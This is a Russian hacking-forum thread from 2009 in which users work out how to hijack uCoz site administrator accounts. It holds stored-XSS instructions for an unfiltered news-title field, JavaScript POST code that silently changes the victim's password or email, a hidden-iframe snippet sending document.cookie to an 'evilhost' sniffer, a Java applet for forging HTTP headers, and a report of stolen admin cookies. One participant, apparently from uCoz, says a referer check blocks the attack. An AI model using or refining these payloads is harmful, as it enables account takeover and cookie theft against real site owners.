Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Найден способ взлома UcoZ! (https://forum.antichat.xyz/showthread.php?t=100212)

Artemik 08.01.2009 19:15

Найден способ взлома UcoZ!
 
Все мы знаем, что UcoZ неприступный и уже все головы сломали (ломают) как его взломать.
Cookie админа украсть не проблема, даже если на форуме выключены HTML теги.

Но! По умолчанию в UcoZ стоит привязка IP к админу. Тоесть куки то мы украли, но войти не сможем. А админ не станет эту привязку просто так отключать.
Но привязка IP модератора по умолачнию выключена. ;) так что вы можете украсть куки модератора, войти под его логином, и удалить все темы, новости, и.т. д.
По идее то нам зачастую это и нужно - насолить бедной жертве =)))
Но нам это неподходит. Двигаемся дальше.

А что если админ сам себе, не подозревая того, сменит свой пароль на нужный нам? =)

Именно так мы и поступим.

Дело в том, что в форме добавления новостей не фильтруется поле "Название материала". :cool:

А что мы можем с этим сделать? Можно здесь вставить скрипт перенаправки на сниффер, но нам то куки админа ненужны.
А вот что! =)

Мы внедрим файл в заголовок нашей "злой" новости! :)

Создаем любой файлик. И в него вписываем код.
В этом коде будет содержаться POST запрос с помощью ActiveX.
Код мы вписали.
Теперь заливаем его на сайте который хотим взломать.
Это можно сделать например так:
Зайти на форум. В форме написания сообщения прикрпеить наш файл( там есть кнопочка "Обзор", вот через нее надо прикреплять) Сообщение напишите произвольное.
Когда нажмете отправить, увидите свое сообщение, а чуть нижу будет написано " Прикрепления: "название файла", его размер".
Наведите курсор на название этого файлика и увидите в нижнем левом углу ссылку на этот файл.

Незнаю как у вас, а у меня, в Фаерфоксе, можно сделать так: Клик правой кнопкой по ссылке на файл, выбираю там пункт "Копировать ссылку". И все, ссылку у меня в буфере обмена.
Ну а у кого неть такой функции, придется набирать ссылку ручками =)

Теперь идем создавать новость.

Новость напишите произвольную.
Это не имеет значения, нас интересует строка "Название материала".

Туда вписываем

<script src="../путь до файла"></script>

Например у меня так:

<script src="../_fr/0/0962166.img"></script>


Видите у меня полсе ...src=" стоят 2 точки?
Это не обозначает "адрес сайта который надо взломать"! Так UcoZ воспринимает адрес самого сайта (главной страницы).

И вуаля! пароль изменен нам на нужный :cool:


Вот только пожалуйста не кричите на меня, но я незнаю кода, для POST запроса. Я с ним не в ладах))

Если кто может сделать этот код, то пишите тут!
Собственно для этого я и сделал тему)

Вообщем нам надо только сделать этот код, и вставить его в файлик, который потом заливать будем на сайт! И Все! Считай неприступный UcoZ взломан :o

AkyHa_MaTaTa 08.01.2009 19:37

я конечно не знаком с системой ucoz, но вроде везде где идет смена пароля требуеться вести старый для подтвержения.
И в src можно указывать любой валидный url, не обязательно атачить на это же сайт js файл, легчше на свой сайт залить и в src его указать.
Вот самый простинкий ajax запрос:
PHP код:


url
="admin.php";// адрес куда будем передовать

function sendRequest(params)// в params  переменые передоваемы в пост запросе
{
if(
params!==""){
req=initXMLHTTPRequest();
if (
req)
{
req.onreadystatechange=somedo;
req.open("POST",url,true);
req.setRequestHeader("Content-Type""application/x-www-form-urlencoded");
req.send(params);}
}
}

function 
initXMLHTTPRequest()
{
var 
xRequest=null;
if (
window.XMLHttpRequest){
xRequest=new XMLHttpRequest();
} else if (
window.ActiveXObject){
xRequest=new ActiveXObject
("Microsoft.XMLHTTP");
}
return 
xRequest;
}

function 
somedo() 
{  




Artemik 08.01.2009 19:57

А ты можешь его подогнать под конкретно Укоз?

AkyHa_MaTaTa 08.01.2009 20:00

Цитата:

Сообщение от Artemik
А ты можешь его подогнать под конкретно Укоз?

Зарегай мне акк на укозе, или дай какойто, я хз че там передаеться.

iddqd 08.01.2009 20:00

Лучше сделать через обычный csrf- автосабмит формы, потому как XMLHTTPRequest не отправит запрос на сторонний домен(если этот файл не приаттачить)

AkyHa_MaTaTa 08.01.2009 20:08

Цитата:

Сообщение от iddqd
Лучше сделать через обычный csrf- автосабмит формы, потому как XMLHTTPRequest не отправит запрос на сторонний домен(если этот файл не приаттачить)

мм, если он создаст на том же сайте <script type="text/javascript" src="http://любой_сайт/path/script.js"></script> и регьюст будет идти на тот же доменик то все отправиться(а имено это описал ТС)

[Raz0r] 08.01.2009 20:14

Цитата:

В этом коде будет содержаться POST запрос с помощью ActiveX.
Код мы вписали.
ТС, ActiveX работает только в IE.
Цитата:

И в src можно указывать любой валидный url, не обязательно атачить на это же сайт js файл, легчше на свой сайт залить и в src его указать.
Same Origin Policy не позволяет делать AJAX-запросы на удаленные сайты, поэтому в <script src=""> необходимо указывать скрипт, находящийся в пределах того же хоста.

Универсальный способ отправить POST-запрос с помощью html и js:
PHP код:

<iframe width=0 height=0 id=lol name=lol></iframe>
// создаем невидимый iframe для того, чтобы отправка формы не вызывала перезагрузку страницы
<form name=myform method=post target=lol>
// создаем форму, в которой target - это наш iframe
<input type=hidden name=c>
// здесь любые данные, в данном случае cookie
</form>
<
script>
// теперь очередь js
document.myform.action='http://evilhost/snif.php';
// устанваливаем action на наш сервер
document.myform.c.value=document.cookie;
// записываем в hidden-поле данные cookie пользователя
document.myform.submit();
// отправляем форму
</script

Цитата:

мм, если он создаст на том же сайте <script type="text/javascript" src="http://любой_сайт/path/script.js"></script> и регьюст будет идти на тот же доменик то все отправиться(а имено это описал ТС)
так работать не будет!

dr.Pilulkin 08.01.2009 20:29

А с помощью Flash можно отравлять запросы?

Artemik 08.01.2009 20:37

Razor нам ненужны Куки. Нам надо, чтобы через этот пост запрос админ переходил в свой профиль, и менял свой пароль. Я точно непомню, но вроде переменная, в которой вводится праоль там называется passw. Но, я сейчас придумал другой варинат. Если неполучится изменить переменную пассв, то можно поменять не пароль а e-mail на свой. Потом сказать что ты типо забыл пароль и тебе на e-mail придет письмо. =)

Ну зарегайте любой сайт на Укозе, это быстро же и покапайтесь =)

ucoz.ru

Но, я вроде уже придумал код, но сегодня выложить немогу, ждите до завтра )))))

AkyHa_MaTaTa 08.01.2009 20:39

Цитата:

Сообщение от [Raz0r]

Same Origin Policy не позволяет делать AJAX-запросы на удаленные сайты, поэтому в <script src=""> необходимо указывать скрипт, находящийся в пределах того же хоста.
так работать не будет![/url]

БРЕД, ТАК РАБОТАТЬ БУДЕТ,И ЭТО МНОЮ УЖЕ ПРОВЕРЯЛОСЬ НЕ ОДНОКРАТНО!!! ДРУГОЕ ДЕЛО ЕСЛИ ВЫ ИСПОЛЬЗУЕТЕ В САМОМ XMLHTTPRequest запрос к другому домену то да, этого сделать не получиться. ЕСЛИ НЕ ВЕРИТЕ Я МОГУ УСТРОИТЬ МАЛЕНЬКУЮ ДЕМОНТСРАЦИЮ ЭТОГО
Вот почитайте
http://javascript.ru/ajax/cross-domain-scripting
Цитата:

Наиболее известный транспорт, позволяет такие запросы - это SCRIPT, т.к <script src="..."> может подгружать яваскрипт с любого домена.
Цитата:

Сообщение от [Raz0r]
ТС, ActiveX работает только в IE.

мм, если вы подразумеваете что XMLHTTPRequest в старых браузерах от ие был не native object а вызывался через ActiveX, то да, но если вы посмотрите на код, то там идет проверка на это, в остальных браузерах с подержкой XMLHTTPRequest он идет как native object и в новых версиях ИЕ.

Artemik 08.01.2009 20:46

Возможно запрос будет выглядеть так (полный код на 1 странице давал "Какуна Матата")

......
if(params!==passw="123456"){
req=initXMLHTTPRequest();
if (req)
{
.....
Или нет?
Если нам нужно отправить переменнуб passw то как будет выглядеть код?

AkyHa_MaTaTa 08.01.2009 20:51

Цитата:

Сообщение от Artemik
Возможно запрос будет выглядеть так (полный код на 1 странице давал "Какуна Матата")

......
if(params!==passw="123456"){
req=initXMLHTTPRequest();
if (req)
{
.....
Или нет?
Если нам нужно отправить переменнуб passw то как будет выглядеть код?

не, немного не так,
sendRequest("passw=123456");

Chrome~ 08.01.2009 20:58

Я бы не назвал это столь большой новостью. На uCoz и правда не идет запрос на ввод старого пароля, при установке нового. Также при изменении инфы не требуется вводить капчу. Давно замечал это.

Передача новых личных данных идет в формате multipart/form-data и передается довольно много параметров.

Artemik 08.01.2009 21:11

Цитата:

Сообщение от Chrome~
Я бы не назвал это столь большой новостью. На uCoz и правда не идет запрос на ввод старого пароля, при установке нового. Также при изменении инфы не требуется вводить капчу. Давно замечал это.

А это и никто и не называет большой новостью. Большой новостью называют, то что можно через запросы сменить пароль админа. Или его е-мэил.

AkyHa_MaTaTa 08.01.2009 21:12

Цитата:

Сообщение от Chrome~
Я бы не назвал это столь большой новостью. На uCoz и правда не идет запрос на ввод старого пароля, при установке нового. Также при изменении инфы не требуется вводить капчу. Давно замечал это.

Передача новых личных данных идет в формате multipart/form-data и передается довольно много параметров.

multipart/form-data - для передачи файлов а вот так в форме - application/x-www-form-urlencoded

[Raz0r] 08.01.2009 21:14

Цитата:

ДРУГОЕ ДЕЛО ЕСЛИ ВЫ ИСПОЛЬЗУЕТЕ В САМОМ XMLHTTPRequest запрос к другому домену то да
именно про это я и говорил

AkyHa_MaTaTa 08.01.2009 21:16

Цитата:

Сообщение от [Raz0r]
именно про это я и говорил

Цитата:

Сообщение от [Raz0r]
Same Origin Policy не позволяет делать AJAX-запросы на удаленные сайты, поэтому в <script src=""> необходимо указывать скрипт, находящийся в пределах того же хоста.

Ну может я вас не правильно понял, или вы меня.

Artemik 08.01.2009 21:33

Цитата:

Сообщение от AkyHa_MaTaTa
Ну может я вас не правильно понял, или вы меня.

Матата, он имел ввиду что нужно указывать ссылку на скрипт находящийся в пределах хоста. А в самом скрипте можно указывать на любой скрипт.

Я так понял)))

Artemik 08.01.2009 21:40

И не забывайте, что Укоз не поддерживает PHP!

AkyHa_MaTaTa 08.01.2009 21:49

Цитата:

Сообщение от Artemik
Матата, он имел ввиду что нужно указывать ссылку на скрипт находящийся в пределах хоста. А в самом скрипте можно указывать на любой скрипт.

Я так понял)))

Ты понял все с точностью до наоборот. Как раз сылку в src можно указывать на любой хост а в самом скрипте при XMLHTTPRequest только на данный домен до буковки, то есть www.test.ru и test.ru уже будут считаться разными доменами, поэтому лутчше всегда узать location.host

Artemik 08.01.2009 21:52

Разор, не мог бы ты объяснить про ПОСТ с помощью ява скрипт?
Я капнул в исходниках.
Вот.

Цитата:

<tr id="siM54"><td class="manTd1" id="siM55">E-mail адрес <font color="#FF0000" class="manStar">*</font>:</td><td class="manTd2" id="siM56"><input type="text" id="siF17" class="manFlaEmail" name="email" size="20" style="width:100%;" value="mailadmina@yandex.ru" maxlength="60" onChange="alert('Проверьте правильность вашего Email адреса, на этот адрес будет выслано письмо с кодом подтверждения. Если не подтвердить email, то любая активность, для которой используется электронная почта, будет заблокирована для вас.');" /></td></tr><tr><td height="10" class="manTdSep" colspan="2"><hr class="manHr" /></td></tr>
На основе этого, мог бы ты сделать POST-запрос с помощью html и js?

Я посмотрел твой код на 2 странице, но я плохо понял(

AkyHa_MaTaTa 08.01.2009 21:55

Цитата:

Сообщение от Artemik
Разор, не мог бы ты объяснить про ПОСТ с помощью ява скрипт?
Я капнул в исходниках.
Вот.



На основе этого, мог бы ты сделать POST-запрос с помощью html и js?

Я посмотрел твой код на 2 странице, но я плохо понял(

с учетом того что я тебе написал

sendRequest("email=mailadmina@yandex.ru");

а url - укажи action

Вобшем создаешь скрипт файл, например, admin.js
в нем
PHP код:

function sendRequest(params)// в params  переменые передоваемы в пост запросе
{
if(
params!==""){
req=initXMLHTTPRequest();
if (
req)
{
req.open("POST",url,true);
req.setRequestHeader("Content-Type""application/x-www-form-urlencoded");
req.send(params);}
}
}

function 
initXMLHTTPRequest()
{
var 
xRequest=null;
if (
window.XMLHttpRequest){
xRequest=new XMLHttpRequest();
} else if (
window.ActiveXObject){
xRequest=new ActiveXObject
("Microsoft.XMLHTTP");
}
return 
xRequest;
}

url="сдесь содержимое action, или если оно пустое или не указано адрес скрипта где форма находиться";

sendRequest("email=mailadmina@yandex.ru"); 


Chrome~ 08.01.2009 23:14

Цитата:

Я бы не назвал это столь большой новостью. На uCoz и правда не идет запрос на ввод старого пароля, при установке нового. Также при изменении инфы не требуется вводить капчу. Давно замечал это.
Цитата:

А это и никто и не называет большой новостью. Большой новостью называют, то что можно через запросы сменить пароль админа. Или его е-мэил.
Я как раз о смене пароля с помощью запросов, но говорю об этом с другой стороны.

Chrome~ 08.01.2009 23:24

Цитата:

multipart/form-data - для передачи файлов а вот так в форме - application/x-www-form-urlencoded
Да, но открой сниффер и посмотри пакеты. При смене пароля данные отсылаются именно в multipart/form-data.

AkyHa_MaTaTa 09.01.2009 04:11

Цитата:

Сообщение от Chrome~
Да, но открой сниффер и посмотри пакеты. При смене пароля данные отсылаются именно в multipart/form-data.

Ну, не стоит считать что если у тебя так то у других также, судя по пакетам которые отсылаються у меня то в фф именно application/x-www-form-urlencoded, в других не смотрел, может это зависит от браузера.

Artemik 09.01.2009 11:22

Какуна матата, я попробовал твой способ. У меня все равно ничего что то неполучается.
Давай я зарегестрирую тебе сайт на UcoZ и ты сам попробуешь?

3dn 09.01.2009 14:17

1. Кража куков модератора ничего не даст, потому что куки на другом компьютере работать не будут (если защита).
2. Сделать автоформу для того чтобы модератор изменил пароль админа не выйдет по 2 причинам:
a) модератор не может менять пароли других пользователей
b) при редактировании данных проверяется реферер (отключите передачу рефереров в опере и сами попробуйте свой профиль отредактировать).

Чтобы в дальнейшем не возникало подобных тем и желаний создавать автоформы для подобных действий, после обновления системы uCoz, в форму редактирования профиля будет добавлена капча....

Благодарю за сотрудничество ;)

Artemik 09.01.2009 15:42

3dn не модератор будет изменять данные админу! А сам админ!!!

3dn 09.01.2009 23:02

Цитата:

не модератор будет изменять данные админу! А сам админ!!!
суть не меняется, админ не сможет автоформу отправить чтобы изменить свой пароль... делается проверка реферера, в котором проверяется точный адрес страницы с которой можно редактировать...

N19hTW0lF 09.01.2009 23:11

Цитата:

А с помощью Flash можно отравлять запросы?
можно

dinar_007 09.01.2009 23:32

Цитата:

Сообщение от 3dn
1. Кража куков модератора ничего не даст, потому что куки на другом компьютере работать не будут (если защита).
2. Сделать автоформу для того чтобы модератор изменил пароль админа не выйдет по 2 причинам:
a) модератор не может менять пароли других пользователей
b) при редактировании данных проверяется реферер (отключите передачу рефереров в опере и сами попробуйте свой профиль отредактировать).

Чтобы в дальнейшем не возникало подобных тем и желаний создавать автоформы для подобных действий, после обновления системы uCoz, в форму редактирования профиля будет добавлена капча....

Благодарю за сотрудничество ;)

Ты работаешь на этом хостинге?
Админ? Разведчик? :(

AkyHa_MaTaTa 10.01.2009 00:08

Цитата:

Сообщение от 3dn
суть не меняется, админ не сможет автоформу отправить чтобы изменить свой пароль... делается проверка реферера, в котором проверяется точный адрес страницы с которой можно редактировать...

с помошью флеш вроде можно менять одельно взятые заголовки, правдо только 8-7 версией flash
Цитата:

Сообщение от dinar_007
Ты работаешь на этом хостинге?
Админ? Разведчик? :(

он засланый казачек, бей его... шютка :)

Rebit 10.01.2009 00:23

Так який ж з способов рабочий на 100 % ?

3dn 10.01.2009 03:09

Цитата:

Так який ж з способов рабочий на 100 % ?
пробуйте всякие, может что-то получится :)

AkyHa_MaTaTa 10.01.2009 03:54

Да еше один из вариантов - это использовать java Aplet, и если например соединение с сервером делать посредством Socket - то можно писать ЛЮБОЙ HTTP заголовок
вот например так

Socket socket = new Socket(host, port) ;
BufferedReader reader = new BufferedReader(
new InputStreamReader(socket.getlnputstream()));
PrintWriter writer = new PrintWriter(
socket.getOutputStream() ) ;
writer.print('GET /ddd.php?key=ashgdhagsdhfjasfdfasdasdasdasd HTTP/1.1\r\nUser-Agent: Fuck Off\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nHost: www.test1.ru\r\nConnection: Close\r\n\r\n') ;
writer.flush() ;
socket.shutdownOutput();
String line;
while((line = reader.readLine()) != null)
socket.close() ;

Но тут есть одно но, ip адресс откуда скачиваеться java applet должен совпадать с ip куда идет обрашения appleta, зато можно посылать запросы к любому хосту находяшимуся на даном ip, ведь сервер оличает к какому хосту мы обрашаемся по Host: HTTP заголовка, ну и естествено у жертвы должна присутствывать подержка java в браузере.

Nitrogeniys 11.01.2009 21:50

Цитата:

Socket socket = new Socket(host, port) ;
BufferedReader reader = new BufferedReader(
new InputStreamReader(socket.getlnputstream()));
PrintWriter writer = new PrintWriter(
socket.getOutputStream() ) ;
writer.print('GET /ddd.php?key=ashgdhagsdhfjasfdfasdasdasdasd HTTP/1.1\r\nUser-Agent: Fuck Off\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nHost: www.test1.ru\\nConnection: Close\r\n\r\n') ;
writer.flush() ;
socket.shutdownOutput();
String line;
while((line = reader.readLine()) != null)
socket.close() ;
Чёто не вкатило у меня!
Есть ещё у кого нить идейки?

AkyHa_MaTaTa 12.01.2009 23:36

Цитата:

Сообщение от Nitrogeniys
Чёто не вкатило у меня!
Есть ещё у кого нить идейки?

Это я JAVA applet, не стоит все понимать буквально и тыкать в браузер, я выложил просто для примера.

Artemik 19.01.2009 19:33

Удалите тему плиз.

NooB MC 02.02.2009 23:09

Попробуйте кто нибудь через мини чат пробиться...
Я пока толком не знаю как составить запрос,
сегодня пришли куки админа:

REFERER: http://*****.ru/***.img
QUERY: 58&
AGENT: Opera/9.52 (Windows NT 5.1; U; MRA 5.3 (build 02560); ru)

Буду пробовать ещё, но если кто знает, посоветуйте как написать код.

Artemik 15.02.2009 17:12

Куки админа ничего не дадут. В Укозе по умолчанию стоит у админов привязка к IP.


Время: 20:21